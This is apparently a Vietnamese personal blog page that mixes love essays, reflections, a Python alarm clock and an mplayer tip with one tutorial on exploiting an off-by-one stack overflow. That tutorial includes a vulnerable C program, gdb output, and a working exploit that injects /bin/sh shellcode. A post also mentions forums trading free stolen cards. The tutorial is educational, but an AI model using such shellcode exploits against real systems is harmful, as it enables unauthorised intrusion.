Lâu lâu không viết cái gì, hôm nay nghe 'Patience' tự nhiên muốn viết cái gì đó không phải cho mình mà cũng chẳng cho ai, chỉ là một bài viết cảm nhận như mọi khi về cuộc sống mà mình đang đi qua từng ngày. Hy vọng sẽ có ai tìm được gì đó trong nó. (Nghiêm Trọng Việt)
Tình yêu, hãy dành cho nó sự kiên nhẫn.

Nhóm nhạc rock lừng danh Guns N' Roses. Ảnh: muchmusic.
 
"Shed a tear 'cause I'm missin' you
I'm still alright to smile
Girl, I think about you every day now
Was a time when I wasn't sure
But you set my mind at ease
There is no doubt
You're in my heart now"

 
Cả đêm qua anh đã không ngủ được vì những cảm xúc kia lại quay về ám ảnh anh. Anh nhớ mình đã từng nói với em, anh rất thích đoạn huýt sáo và đoạn dạo guittar đầu của nó, có cái giác gì trống vắng, cứ chậm chậm thôi mà nghe thật cô đơn. Đêm, cái không gian tĩnh mịch đó lại làm anh nhớ về em. Khóc? Anh đang tự hỏi mình đang khóc vì cái gì đây? Nhớ em, áp lực cuộc sống hay vì cái gì đó. Anh cũng chả biết nữa, nhưng anh vẫn chắc một điều, anh vẫn có thể cười khi gặp em. Em à, anh đang nghĩ về em như bao ngày, em vẫn vậy vẫn luôn ngự trị trong trái tim anh. Nhưng giờ anh biết, anh mất cơ hội được nhìn thấy nụ cười của em, giọng nói ấm áp, sưởi ấm tâm hồm anh những ngày tháng qua rồi.
"Said, woman, take it slow
It'll work itself out fine
All we need is just a little patience
Said, sugar, make it slow
And we come together fine
All we need is just a little patience
(patience)
Mm, yeah"

Em nói rằng, cứ chầm chậm thôi, hay cho em thêm thời gian. Cái chúng ta cần là một chút gì đó kiên nhẫn, thời gian, mọi thứ sẽ trở nên tốt đẹp hơn. Nhiều lúc anh tự hỏi mình, không biết anh kiên nhẫn vậy đã đủ chưa, hay còn phải kiên nhẫn hơn nữa. Mà không biết em bắt anh phải kiên nhẫn đến bao giờ, hãy cho anh một câu trả lời. Một câu thôi, để xóa đi sự chờ đợi của anh trong suốt thời gian vừa qua, để anh có thể bước tiếp...
Nhưng thực tế cho thấy, em chẳng nói gì, mặc anh trong chờ đợi.
Đã có những lúc anh muốn nói với em, anh mệt mỏi lắm rồi, nhưng anh không đủ can đảm hay nói đúng hơn là anh không thể nói ra, với anh, em quá tuyệt vời. Ngày trước, khi em xuất hiện, anh như tìm ra một cái gì đó mới mẻ mà anh nghĩ nó đã thay đổi cuộc sống của anh. Và đúng thế thật, nó đã thay đổi như ngày hôm nay, thay đổi khiến anh không ngờ đến.
"I sit here on the stairs
'Cause I'd rather be alone
If I can't have you right now
I'll wait, dear
Sometimes I get so tense
But I can't speed up the time
But you know, love
There's one more thing to consider"

Anh đang ngồi bên những bậc cầu thang, anh muốn mình đơn độc, cô đơn. Điều đó còn làm anh thoải mái hơn khi nghĩ về em. Em bảo anh chờ, anh sẽ chờ, sẽ đếm từng ngày, đôi lúc anh muốn xé toạc cái khoảng thời gian đó, chờ với cái niềm tin nhỏ bé: "Mọi thứ sẽ trở nên tốt đẹp". Nhưng em có hiểu một điều rằng "tình yêu không phải là thứ để chiêm ngưỡng". Anh mệt mỏi và sự kiên nhẫn trong anh đang lụi tàn.
"Said, woman, take it slow
And things will be just fine
You and I'll just use a little patience
Said, sugar, take the time
'Cause the lights are shining bright
You and I've got what it takes
To make it, We won't fake it,
I'll never break it
'cause I can't take it"

Em nói hãy kiên nhẫn, kiên nhẫn đời chờ rồi mọi thứ sẽ tốt đẹp. Ánh bình minh sẽ lại tỏa sáng, và sẽ có một ngày chúng ta sẽ bên nhau. Anh đã tin, ít nhất đến thời điểm mà anh thấy em đã gặp và yêu một người khác, cái người mà em mới gặp chưa tới nửa tháng. Vậy thì liệu sự kiên nhẫn nó có ở đây không? Hay chỉ là sự lừa dối, một hình thức lót đường để tìm một người mới. Vậy thì sau này anh có cần kiên nhẩn chờ đợi nữa hay không? Sẽ tiếp tục kiên nhẫn nữa chứ. Liệu anh có thể dũng cảm đi tiếp con đường mà anh không còn có em bên cạnh nữa không. Anh đã từng hứa anh sẽ làm nên tình yêu, sẽ chẳng bao giờ đánh mất nó, vì tình cảm anh dành cho em luôn là sự chân thật từ trong lòng mình. Anh sẽ chăng đánh mất nó vì anh có bao giờ có nó đâu.

"I been walkin' the streets at night
Just tryin' to get it right
Hard to see with so many around
You know I don't like
Being stuck in the crowd
And the streets don't change
But baby the name
I ain't got time for the game
'cause I need you
Yeah, yeah, but I need you
Oo, I need you
Whoa, I need you
Oo, all this time"

Lang thang trên những con phố, có lẽ là cách tốt nhất với anh lúc này. Cho dù thật là khó khăn để tìm một lối đi cho riêng mình lúc này, mọi cái đều phảng phất hình ảnh em. Em biết đấy, anh ghét sự đông đúc, ghét cái tắc đường của Hà Nội, những con đường chẳng bao giờ thay đổi, chỉ có em là thay đổi. Nhưng anh cần em, ít nhất vào lúc này, khi niềm tin trong anh đang cạn kiệt mỗi phút trôi qua. Em đừng đem thời gian để làm trò chơi với anh được không, hãy cho anh niềm tin. Vì anh biết "Tình yêu, nếu có thể hãy dành cho nó sự kiên nhẫn". 

Patience
Trình bày: Guns N' Roses
Shed a tear 'cause I'm missin' you
I'm still alright to smile
Girl, I think about you every day now
Was a time when I wasn't sure
But you set my mind at ease
There is no doubt
You're in my heart now
Said, woman, take it slow
It'll work itself out fine
All we need is just a little patience
Said, sugar, make it slow
And we come together fine
All we need is just a little patience
(patience)
Mm, yeah
I sit here on the stairs
'Cause I'd rather be alone
If I can't have you right now
I'll wait, dear
Sometimes I get so tense
But I can't speed up the time
But you know, love
There's one more thing to consider
Said, woman, take it slow
And things will be just fine
You and I'll just use a little patience
Said, sugar, take the time
'Cause the lights are shining bright
You and I've got what it takes
To make it, We won't fake it,
I'll never break it
'cause I can't take it
I been walkin' the streets at night
Just tryin' to get it right
Hard to see with so many around
You know I don't like
Being stuck in the crowd
And the streets don't change
But baby the name
I ain't got time for the game
'cause I need you
Yeah, yeah, but I need you
Oo, I need you
Whoa, I need you
Oo, all this time

gửi đến em : Thật sự anh đang rất kiên nhẫn, anh sẽ đợi đến khi nào em muốn, điều đó cũng là một phần thử thách của tình yêu phải không em. Cho dù bây giờ, giữa chúng ta, một khoảng cách mơ hồ đang ngự trị, em giận anh, anh giận em, chúng ta đã không gặp nhau lâu rồi . Anh rất muốn gặp em, nói với em rằng anh rất yêu em, hơn nhiều lần em có thể tưởng tượng, anh yêu em hơn bất kì ai khác. Anh yêu em, đơn giản chỉ vì em là em, là một nửa của đời anh, và em đã ngự trị hoàn toàn trái tim anh rồi .


Em có nhớ lúc ở KTX ĐHQG không, lúc hai đứa, H và An đang đùa với nhau, nói chuyện tương lai, gia đình. Rồi anh hỏi em "Còn hai đứa mình thì sao ?", em đã nhìn anh, với ánh mắt diệu dàng, ánh mắt làm anh say đắm. Anh cá rằng, không người con gái nào có ánh mắt đẹp như em. Em trả lời rằng "Biết rồi còn hỏi !", giọng em nũng nịu làm sao. Dù lấp lửng, nhưng anh hiểu, đó là lời thú tội ngọt ngào của em, rằng em cũng như anh, đã rơi vào cái bẫy của thần tình ái phải không . Anh yêu em, và xin em, hãy là chính mình, sống bằng con tim, hãy cùng anh yêu cho hết khác khao cháy bỏng, yêu như hai kẻ điên cuồng. Như Xuân diệu đã từng viết :
Hãy sát đôi đầu! Hãy kề đôi ngực!
Hãy trộn nhau đôi mái tóc ngắn dài!
Những cánh tay! Hãy quấn riết đôi vai!
Hãy dâng cả tình yêu lên sóng mắt!
Hãy khắng khít những cặp môi gắn chặt
Cho anh nghe đôi hàm ngọc của răng;
Trong say-sưa, anh sẽ bảo em rằng :
"Gần thêm nữa! Thế vẫn còn xa lắm!"
Anh sẽ chờ em, hãy hoàn thành những gì em cần làm, hãy thực hiện nó thật tốt. Và hãy luôn nhớ rằng, trên con đường em đang đi, bên em đó là anh, luôn dõi theo em mỗi ngày. Em thấy không, phía cuối đường kia, ngôi nhà và những đứa trẻ .


Anh yêu em.

Off by one - overwrite ebp with one byte .

No comments:
Trong các tình huống tràn bộ đệm khác nhau, nhiều trường hợp, chỉ có thể ghi đè được 1 byte duy nhất ra ngoài vùng được phép - ghi đè 1 byte lên thanh ghi ebp. Bài viết này sẽ trình bày một số điểm khái quát trong quá trình tận dụng lỗi này .

Trước hết, một source code của chương trình bị lỗi như sau :

#include <stdio.h>

func(char *sm)
{
        char buffer[256];
        int i;
        for(i=0;i<=256;i++)
                buffer[i]=sm[i];
}

main(int argc, char *argv[])
{
        if (argc < 2) {
                printf("missing args\n");
                exit(-1);
        }

        func(argv[1]);
}

Để khai thác được lỗi này, thì phải compile chương trình trên bằng gcc 3.x với option -mpreferred-stack-boundary=2 :

crazyboy@h4x0r:$ gcc -mpreferred-stack-boundary=2 offone.c -o offone

Hàm func() của chương trình trên đã bị lỗi ở đoạn 

for(i=0;i<=256;i++)
      buffer[i]=sm[i];

Thay vì chép 256 bytes, thì nó đã tự sát bằng cách chép đến 257 bytes, đồng nghĩa với việc $ebp bị ghi đè 1 byte. Sơ đồ vùng nhớ khi đang ở trong hàm func lúc bị ghi đè như sau :

saved_eip
 saved_ebp (bị ghi đè 1 byte)   
 AAAAAAAAA   \
 AAAAAAAAA    |  char buffer 
 AAAAAAAAA   /
 int i

Dùng gdb, có thể dễ dàng kiểm chứng rỏ hơn việc $ebp bị ghi đè như thế nào :

(gdb) disass func
Dump of assembler code for function func:
0x080483d4 :    push   %ebp
0x080483d5 :    mov    %esp,%ebp
0x080483d7 :    sub    $0x104,%esp
0x080483dd :    movl   $0x0,0xfffffefc(%ebp)
0x080483e7 :    cmpl   $0x100,0xfffffefc(%ebp)
0x080483f1 :    jg     0x8048418
0x080483f3 :    lea    0xffffff00(%ebp),%eax
0x080483f9 :    mov    %eax,%edx
0x080483fb :    add    0xfffffefc(%ebp),%edx
0x08048401 :    mov    0xfffffefc(%ebp),%eax
0x08048407 :    add    0x8(%ebp),%eax
0x0804840a :    mov    (%eax),%al
0x0804840c :    mov    %al,(%edx)
0x0804840e :    lea    0xfffffefc(%ebp),%eax
0x08048414 :    incl   (%eax)
0x08048416 :    jmp    0x80483e7
0x08048418 :    leave 
0x08048419 :    ret   
End of assembler dump.
(gdb) disass main
Dump of assembler code for function main:
0x0804841a :    push   %ebp
0x0804841b :    mov    %esp,%ebp
0x0804841d :    cmpl   $0x1,0x8(%ebp)
0x08048421 :    jg     0x8048437
0x08048423 :    push   $0x8048554
0x08048428 :    call   0x80482d8
0x0804842d :    add    $0x4,%esp
0x08048430 :    push   $0xffffffff
0x08048432 :    call   0x80482e8
0x08048437 :    mov    0xc(%ebp),%eax
0x0804843a :    add    $0x4,%eax
0x0804843d :    pushl  (%eax)
0x0804843f :    call   0x80483d4
0x08048444 :    add    $0x4,%esp
0x08048447 :    leave 
0x08048448 :    ret   
End of assembler dump.
(gdb)
Continuing.
Breakpoint 8, 0x08048447 in main ()
(gdb) i r ebp
ebp            0xbffff441    0xbffff441
(gdb)

Như vậy, $ebp đã bị ghi đè đúng 1 byte.

Giá trị của $esp đã được điều khiển tùy ý trong khoản 0xbffff400 đến 0xbffff4ff . Dữ liệu vào sẽ được bố trí như sau :

 [NOP][shellcode][&NOP][1 byte X ghi đè lên ebp]

Giá trị của X = [byte thấp của &NOP] - 4 ( 4 bytes khi leave sẽ được pop $ebp ). Lúc này,sau khi đến lệnh ret cuối hàm main, chương trình sẽ tiến hành ret vào $esp hiện giờ đang chứa đia chỉ của phần shellcode phía trước. Địa chỉ của $esp trong hàm func sẽ làm địa chỉ nền để ret về :

(gdb) b* 0x080483dd
Breakpoint 6 at 0x80483dd
(gdb) b* 0x08048418
Breakpoint 7 at 0x8048418
(gdb) r `python -c 'print "A"*257'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/offone/offone `python -c 'print "A"*257'`

Breakpoint 6, 0x080483dd in func ()
(gdb) x/2x $esp
0xbffff328:    0xb7fcf000    0xbffff380
(gdb) c
Continuing.

Breakpoint 7, 0x08048418 in func ()
(gdb) x/2x $esp
0xbffff328:    0x00000101    0x41414141
(gdb)
Như vậy, địa chỉ ret về sẽ là 0xbffff32c .

Chương trình khai thác như sau :

#include <stdio.h>
#include <unistd.h>

char sc_linux[] =
        "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
        "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
        "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
        "\xd7\xff\xff\xff/bin/sh";

main()
{
        int i, j;
        char buffer[1024];

        bzero(&buffer, 1024);
        for (i=0;i<=(248-sizeof(sc_linux));i++)
        {
                buffer[i] = 0x90;
        }
        for (j=0,i=i;j<(sizeof(sc_linux)-1);i++,j++)
        {
                buffer[i] = sc_linux[j];
        }
        buffer[i++] = 0x2c; /*
        buffer[i++] = 0xf3;  * Địa chỉ của bufer sẽ đươc pop $ebp
        buffer[i++] = 0xff;  *
        buffer[i++] = 0xbf;  */
        buffer[i++] = 0x2c; /*
        buffer[i++] = 0xf3;  * 2 lần vì 1 địa chỉ để pop $ebp phải hợp lệ.
        buffer[i++] = 0xff;  * phần này sẽ được dùng để ret .
        buffer[i++] = 0xbf;  */
        buffer[i++] = 0x24;  // 0xbfff428 là địa chỉ của &NOP.
        execl("./offone", "offone", buffer, NULL);
}


Một số chi tiết về mã asm, địa chỉ sẽ khác nhau tùy máy, tùy hệ điều hành và các phiên bản khác nhau của compiler.

Bài viết có tham khảo từ : http://www.phrack.org/issues.html?id=8&issue=55

Tản mạn : Hạ Sơn !

No comments:
Mấy ngày gần đây, mình vừa ôn thi, vừa dành thời gian quá nhiều cho việc lang thang trên mạng. Tham gia ở vài diễn đàn như Xgroupvn, Vietmatrix, Hcegroup, vniss, ... và hai ba diễn đàn về CC chùa nữa . Mong là trong chuyến hành trình ấy, sẽ kiếm được bạn có cùng chí hướng, nhưng mộng bất thành. Kẻ thì quá ngạo mạng, với chút kiến thức nhỏ tí của mình thì xưng hùng xưng bá, không coi ai ra gì. Một tí thành tích local, deface, cộng với vài cái CC chùa, rồi mua domain, hosting lập nên cho mình một đại bản doanh group  này group nọ, hùng cứ một phương, vỗ ngực ta đây oai phong lẫm liệt.

Nói về phần mình thì cũng rất là rảnh, cũng tham gia thảo luận, cãi cọ đàng hoàng. Nhưng có lẽ cách tiếp cận vấn đề, đề xuất hướng giải quyết vấn đề của mình không phù hợp với các "hắc cờ" ngày nay cho lắm, nên mọi thứ đề đi vào ngỏ cụt và quên lãng.


Có khi điều đó cũng hay, nó giúp mình nhận ra nhiều điều, rồi mới có entry này chứ. Nó giúp mình hiểu được với sức một mình mình, không thể giúp đỡ được tất cả mọi người được . Và rằng với những kẻ chỉ thích thành công nhanh chóng, và mỗi khi đạt được thành công rồi thì không muốn tiếp tục nữa, ngủ quên trên cái vinh quang ảo của chính mình thì nên bỏ mặt đi.

Mình nhận ra rằng, về cách ứng xử, giao tiếp với cộng đồng của mình còn rất tệ. Nên cởi mở hơn, vui vẻ hơn và đừng dồn người ta vào đường cùng quá. Phải khiêm tốn, và tránh nói năng sổ sàng .

Về kiến thức thì còn phải trao dồi nhiều hơn nữa. Phải tiếp tục phấn đấu nếu không muốn bị bỏ lại đằng sau.

Trong thời gian tới, sẽ chấm dứt việc lang thang trên mạng nhiều như vừa qua. Tiếp tục đào sâu vào X và học thêm Crypto. Sang năm hi vọng sẽ đủ nội công thi đấu cùng mấy anh. Và mình còn ôm ấp cả một dự định lớn hơn nữa .

Lần hạ sơn này là lần hạ sơn đầu tiên, cũng đụng chạm nhiều điều, làm mình thêm quyết tâm hơn. Sắp tới, sẽ lên núi để tiếp tục luyện công, tìm lại giá trị cho chính mình.

BackTrack ISO Kernel 2.6.34 Upgrade

No comments:
Lâu rồi không dùng backtrack, bữa nay tình cờ lượn qua twitter thì thấy cái này, mang về đây . Lúc nào cần thì tham khảo vậy ;) .

http://www.offensive-security.com/backtrack/backtrack-kernel-upgrade-2-6-34/

Alarm clock writen in Python

No comments:
Ngủ nướng quá, nên code cái nì báo thứ :) . Sẽ update tiếp các phiên bản sau "chất lượng" hơn .


System requirement :
      - Gnome-mplayer (maybe swich to your favor media player)
      - Internet connection (Default sound, change it if you want)
      - Python 2.6

Source code :


#!/usr/bin/env python
import sys, time, os
import getopt
import datetime

def usage():
    print '''
Alarm clock v0.1 beta
            
Usage : ./alarm.py -h hour -m minute
Type : --help for more imformation
        '''
link = ""
def gettime():
    try:
        opts, args = getopt.getopt(sys.argv[1:], "h:m:l:",["help"])
    except getopt.GetoptError, err:
        print str(err)
        usage()
        sys.exit(2)
    hour = 7
    minute = 0
    link = "link direct to mp3 file"
    for opt, args in opts:
        if opt == "-h":
            hour = int(args)
        elif opt in ("-m"):
            minute = int(args)
        elif opt in ("--help"):
            usage()
            sys.exit()
        elif opt in ("-l"):
            link = args
        else:
            assert False, "unhandled option"
    print "Program will active alarm time in : %.2d:%.2d" %( hour, minute)
    print "Sound : %s" %link
    now = datetime.datetime.now()
    if (hour - now.hour)>=0 :
        t = (hour - now.hour)*3600
    else:
        t = 24 - (now.hour - hour)*3600
    if (minute -now.minute ) >= 0:
        t = t + (minute - now.minute)*60
    else:
        t = t - (now.minute - minute)*60
    if t<0:
        t = 24*3600 + t
    return t, link
if __name__ == "__main__":
    waitTime, link = gettime()
    time.sleep(waitTime)
    links = "gnome-mplayer %s  --random --loop" % link
    os.popen(links)

_http://crazyboy.pastebin.com/BjctSLf1

cb_

Tản mạn: Nói Dối - Cá Tháng Tư!

No comments:
Mỗi ngày đều có ý nghĩa lịch sử và ngày ấy để lại dấu ấn nào đó trong lòng người. Ngày Cá tháng Tư mặc dầu không có lịch sử rõ ràng nhưng ít nhiều gì con người cũng nghe đến ngày này và thi thoảng vẫn "nhắc nhau" ngày này bằng cách nói dối chuyện gì đó cho vui chứ không làm hại đến người khác. Mỗi nền văn hoá có lịch sử kỷ niệm ngày Nói Dối khác nhau nhưng thường vào ngày đầu tiên của mùa Xuân.

Người ta cho rằng, quê hương của cá tháng tư là ở nước Pháp. Ngày cá tháng tư được "khai sinh" từ thế kỷ 16. Theo cách giải thích này, vào thời kỳ đó, năm mới ở Pháp được tổ chức từ ngày 25/3 đến 1/4. Đến năm 1562, công lịch mới được giáo hoàng Gregory đưa ra với ngày đầu tiên của năm mới là 1/1 và 2 năm sau công lịch này được hoàng đế Henry IX thông qua. Tuy nhiên, có một số người không biết lịch mới mà vẫn tiếp tục tổ chức đón mừng tất niên vào ngày 1/4. Những người này bị bạn bè trêu đùa bằng cách gửi những món quà nghịch ngợm, nói dối họ và thuyết phục họ tin vào những chuyện đó. Những người bị lừa trở thành "April fool" (Kẻ ngốc tháng 4 - Cá tháng tư). Ở Việt Nam, khoảng hơn 10 năm trở lại đây, ngày cá tháng tư đã được chấp nhận và nhanh chóng trở thành cơ hội để mọi người cùng chia sẻ các bất ngờ thú vị.

Nói dối là hành vi cố tình cung cấp thông tin sai sự thật về vấn đề nào đó để người nói dối đạt được mục đích mà họ mong muốn - thường là không chính đáng. Người nói dối luôn tạo môi trường giống như thật, tạo mọi cử chỉ, hành động để đối tượng tin vào những gì họ đang nói. Còn với người bị nói dối thì họ thường để lộ những cảm xúc tiêu cực, không ít người nhận thấy mình bị đem ra làm trò đùa. Trong trường hợp họ bị nói dối mà không phát hiện ra thực tế phũ phàng, thì họ rất quan tâm đến hậu quả của sự nói dối sẽ xảy ra ra sao.

Vậy là khi người thông tin mong muốn người khác hiểu lệch lạc về một vấn đề, sự kiện, hoặc mong muốn đạt được điều gì đó (thường là quyền lợi vật chất, vị trí công tác, biện minh cho việc làm xấu cho của mình, cạnh tranh không lành mạnh trong kinh doanh...) nhờ thông tin sai sự thật, bịa chuyện thì nói dối xuất hiện. Người nói dối nhiều lần, không quan tâm hoặc bất chấp hậu quả xấu có thể xảy ra cho nhiều người khác thì thường được gọi là trí trá. Xã hội, cộng đồng thường tỏ ý khinh ghét, xa lánh những người nói dối kiểu này.

Không ngờ, với phương Tây, người ta kỷ niệm cái ngày này và trêu nhau một chút cho vui còn với người Việt thì ngược lại. Chuyện đùa vui ở Tây Phương lại trở thành căn bệnh trầm kha của một số người Việt. Người Tây Phương họ thường rất thẳng thắn, đâu ra đó và họ không hề sợ mất lòng khi nói thẳng, nói thật. Người Việt thì bị cái vỏ bọc bên ngoài che chắn quá lớn để rồi khi ai nào đó nói thẳng, nói thật, góp ý với mình thì mình xừng cồ lên với sự góp ý đó. Từ cái chuyện không dám nói thẳng nói thật đâm sinh ra cái tật xấu nữa là nói xấu nhau.

Người ta vẫn thường đùa với nhau:

Thật thà thẳng thắn thường thua thiệt,

Lọc lừa lươn lẹo lại lên lương.

Đùa nhưng mà đúng đấy ! Thử hỏi trong xã hội hiện nay những người sống thẳng, sống thật xem hậu quả sẽ như thế nào ? Còn với những người lọc lừa lươn lẹo ấy thì ngày lại ngày cứ thăng quan tiến chức !

Với lối sống ích kỷ và giả tạo để rồi người ta không còn ngần ngại hứa lèo, hứa lần, hứa hồi và nói dối trở thành thói quen trong cuộc sống.

Lớn nói dối theo lớn, nhỏ nói dối theo nhỏ. Không biết có quá đáng chăng bây giờ đi tìm người nói thật khó quá ! Vì lẽ nói thật, nói thẳng thường hay bị ganh ghét, đố kỵ. "Thuốc đắng dã tật, sự thật mất lòng" ! Vì sợ mất lòng nên nhiều người đã sợ làm mất lòng người khác nên đành né đi bằng cách nói dối để làm hài lòng đối phương. Mà cũng khổ, biết nói dối là điều xấu, là điều không ai thích nhưng dần dần chuyện nói dối xảy ra quá nhiều trong xã hội nên nói dối đâm ra là "chuyện thường ngày ở huyện".

Cách đây không lâu, có việc xuống Cần Thơ. Dân "Hai Lúa" lâu lâu mới có dịp ngồi trên xe "tốc hành", "Hai Lúa" vào bến xe Miền Tây, hỏi và mua được chiếc vé đi Cần Thơ của hãng xe KL. Nhân viên bán vé bảo 16 giờ 00 xe xuất bến nhưng chờ mãi đến 17 g 15 xe chưa xuất bến. Thế là đành mất 80.000 cho vé xe KL để chuyển qua xe ML vì có khách đi xe ML bỏ chỗ ! Lần sau có cho thêm tiền chẳng bao giờ tôi đi xe KL nữa.

Đi xe khách bị trễ thì còn thông cảm được, đàng này đi máy bay mà cứ bị trễ hoài. Báo chí vẫn nói lên tiếng nói của người dân về hãng X trễ hẹn. Mới đây thôi, chuyến bay từ Vinh vào Sài Gòn bị trễ mà đến phút chót hành khách mới được thông báo, hơn 20 đứa trẻ lây lất trong sân bay để chờ chuyến bay "đến hẹn lại trễ" của hãng hàng không X. Trễ hẹn hoài nên đâm ra chuyện hứa lèo, chuyện nói dối của hãng hàng không ấy cũng chẳng còn lạ gì với hành khách.



Những đoạn đường đang vướng mắc lô-cốt được mấy con đường hoàn thành đúng tiến độ ...

Còn biết bao nhiêu và biết bao nhiêu chuyện nói dối xảy ra trong cuộc đời, trong xã hội.

Lúc đầu, người ta con tin tưởng vào lời hứa nhưng dần dần người ta có một cái kinh nghiệm là chẳng bao giờ lời hứa ấy được thực hiện. Tất cả những lời hứa ấy đều chờ đợi một câu: Hãy đợi đấy ! Người dân đợi hoài, đợi mãi riết rồi cũng thành thói quen. Kêu chi cho mệt, gào chi cho khổ ! Thôi thì cứ nhắm mắt chờ. Ngày nào nó xong thì biết nó xong chứ chờ đợi chi vào "lời nói dối như cuội" ấy !

Nhiều và nhiều việc khác chắc không cần nói ra thì ai ai cũng biết cả. "Thượng bất chính - hạ tất loạn" là hậu qủa bình thường của những người có trách nhiệm mà hứa lèo, hứa cụi. Người cầm quyền, người có trách nhiệm mà nói dối thì ở dưới làm sao không nói dối được.

Thẳng thắn - thật thà thường vẫn thường thua thiệt so với người nói dối, người lươn lẹo. Thật thà - dối trá vẫn là hai mặt của đồng tiền, hai mặt của vấn đề mãi mãi tồn tại trong xã hội. Thật thà - dối trá vẫn luôn là lựa chọn dành cho con người. Chớ gì thấy được hậu quả của lối sống dối trá, của những người nói dối đã gây biết bao nhiêu thiệt hại cho anh chị em đồng loại để ngày mỗi ngày con người sống thật với nhau hơn, sống chân thành với nhau hơn.

Rất lâu rồi, mình cứ canh canh mãi vấn đề này . Cứ ngỡ rằng họ chỉ nói dối nhất thời, nhưng không, đọc xong bài trên thì ngỡ ra mình thật ngớ ngẩn . Mọi người đều như vậy, đều sống giả cả, cứ phải mang cái mác vào mình mới chịu được . Và đến bây giờ, có khi ngày Cá Tháng Tư này trở thành ngày "nói thật" của người Việt cũng nên .

from Internet

Gửi cô bạn của tôi

1 comment:
Cô bạn thân mến của tôi,

Đã đến lúc tôi cần phải có bạn gái. Tôi biết rằng bạn đang ở đâu đó. Đừng lo gì cả, tôi sẽ tìm ra bạn thôi. Và khi tìm ra bạn, tôi hy vọng rằng bạn sẽ yêu tôi vì tôi là Derek chứ không phải là em trai của Mike. Tôi hy vọng là bạn sẽ không bối rối khi tôi mặc quần áo không hợp thời trang, hay bực bội khi tôi bỏ qua chương trình phim truyền hình được nhiều bạn trẻ yêu thích.

Tôi mong rằng bạn sẽ nhớ tôi chơi đá banh chứ không phải là bóng bầu dục, tôi ở vị trí trung vệ chứ không phải hậu vệ. Và mỗi cuối tuần, tôi đều ở chơi với ba tôi. Tôi nguyện rằng bạn sẽ yêu tôi, dù cho tôi thường quên mất ngày sinh của mình, và nếu cha mẹ bạn mời tôi ăn tối, bạn hãy viết tên của họ thật nhỏ trên bàn tay tôi, để tôi nhìn mỗi khi lỡ quên.

Xin bạn biết rằng tôi thường hành động mạnh mẽ và tỏ ra tự chủ, nhưng trong thâm tâm, tôi thật sự bối rối và mất phương hướng (xin đừng nói điều này cho các bạn tôi biết nhé). Xin bạn đừng lo nếu tôi lướt ván bị thương. Thay vào đó, bạn hãy ở bên cạnh để xoa dịu vết thương bằng các nụ hôn.

Bạn hãy hiểu rằng yêu thương nhau là được ở bên cạnh nhau, nhưng không phải lúc nào cũng vậy. Chúng ta không bao giờ nên canh giữ bạn bè chúng ta. Bạn cũng cần hiểu rằng đôi khi tôi cũng ganh tỵ, nhưng bởi chỉ vì tôi cảm thấy bất an chứ không bởi vì bạn đang làm gì đó sai quấy.

Và nếu chúng ta không còn yêu thương nhau nữa, xin bạn đừng ghét tôi. Nếu tôi khóc trước mặt bạn, xin đừng cười nhạo tôi. Tôi vốn rất nhạy cảm và vụng về như nhiều thằng con trai khác.

Bạn hãy chân thành với tôi. Rốt cuộc, tôi chỉ là một cậu con trai. Tôi hứa sẽ luôn luôn thành thật với bạn bởi bạn đáng được như vậy. Tôi hứa là sẽ luôn mở cửa cho bạn, mời bạn đi xem hát. Ồ không, bạn không mập đâu, vậy nên đừng hỏi tôi những câu như vậy. Bạn cũng không cần dùng son phấn. Bạn đừng bối rối mỗi khi để một kiểu đầu mới mà tôi không chú ý. Tôi luôn yêu quí bạn, ngay cả lúc bạn mặt quần jean áo thun.

Tôi hy vọng bạn không cho là tôi đang đòi hỏi bạn quá nhiều. Tôi chỉ vui khi nhìn thấy bạn sung sướng. Tôi đang đi tìm bạn đây, vậy nên bạn đừng đi đâu cả. Bạn hãy ở tại chỗ, dù mình có là ai. Và bạn cũng đừng quên rằng, tên tôi là Derek .

Chân thành

Mượn thư của bạn Derek tí nha :D .

How to read technical books ?

No comments:

Now, i'll share the way to read technical books as well as possible.

- Reading technical books so hard, so try to read it to learn how to read.

- Take notes, write down all stuff you understand, this is very important.

- Try to figure out all thing you got from books and write down.

- Summarize all you know, write down.

- Note this, you reading books to solve problems, try solve problems.

- Anticipate exam questions by writing down your own.

- Dead orther books .

Thể dục

1 comment:

Tập thể dục là một thói quen tốt mà mình đã quên trong gần 3 năm qua :) . Nhưng không phải vì thế mà bây giờ mình ko chịu tập .

Từ hôm qua, chiều chiều cỡ 5h30 là cả nhà lại ra công viên Tao Đàn để chạy bộ, xà đơn, xà kép,... :D . Dự định mình sẽ đi bơi nữa, chiều thứ 3 hoặc thứ 7, 4h :x . Bạn nào thích thì cứ giờ trên tập chung nhé :D .

Hi vọng là mình sẽ có sức khỏe tốt để tiếp tục chiến đấu :)) .

cb

Về Tết .

No comments:
Viết vội vã rồi lên xe về quê :D . Dự đoán là sẽ có nhiều cuộc chiến trong thời gian tới đây 8-} .

Nghe tí nhạc ấm lòng :

Vietnamese subtitle with mplayer

No comments:
In the most case, when you watch video in mplayer with vietnamese subtitle,you'll meet this error :
SUB: Could not determine file format
Let's type this command :

file subfile
0oH, it show :
spread.srt: Little-endian UTF-16 Unicode English text, with CRLF, CR line terminators

Reason of this problem is subtitle file in UTF-16 , mplayer only play with UTF-8. Okie, we'll use the tool iconv , power tool to convert sub file to UTF-8

iconv -f UTF-16 -t UTF-8 fileneedconvert > filenew
Now, play your video with command :

mplayer -utf8 -sub subfile videofile
If sub don't show correct font, use option -font "path/to/font" .

Cuộc đối thoại giữa người và Phật về tình yêu

No comments:
Ðêm khuya, trong một ngôi đền, một Người một Phật, Phật ngồi người đứng...
Người : Thưa Ðức Phật thánh minh, con là một người đã có vợ, con hiện đang yêu say đắm 1 người đàn bà khác, con thật không biết nên làm thế nào.
Phật : Con có thể xác định người đàn bà con đang yêu hiện nay là người đàn bà cuối cùng duy nhất trong cuộc đời con không?
Người : Thưa vâng.
Phật : Con ly hôn, sau đó lấy cô ấy.
Người : Nhưng vợ con hiện nay dịu dàng , lương thiện, thảo hiền. Con bỏ cô ấy liệu có phần tàn nhẫn không, có mất đạo đức không, thưa Ðức Phật?
Phật : Trong hôn nhân không có tình yêu mới là tàn nhẫn và mất đạo đức.Con hiện giờ đã yêu người khác, không yêu vợ nữa.Con làm như thế là đúng.
Người : Nhưng vợ con rất yêu con, quả thật yêu con lắm ,thưa Ðức Phật.
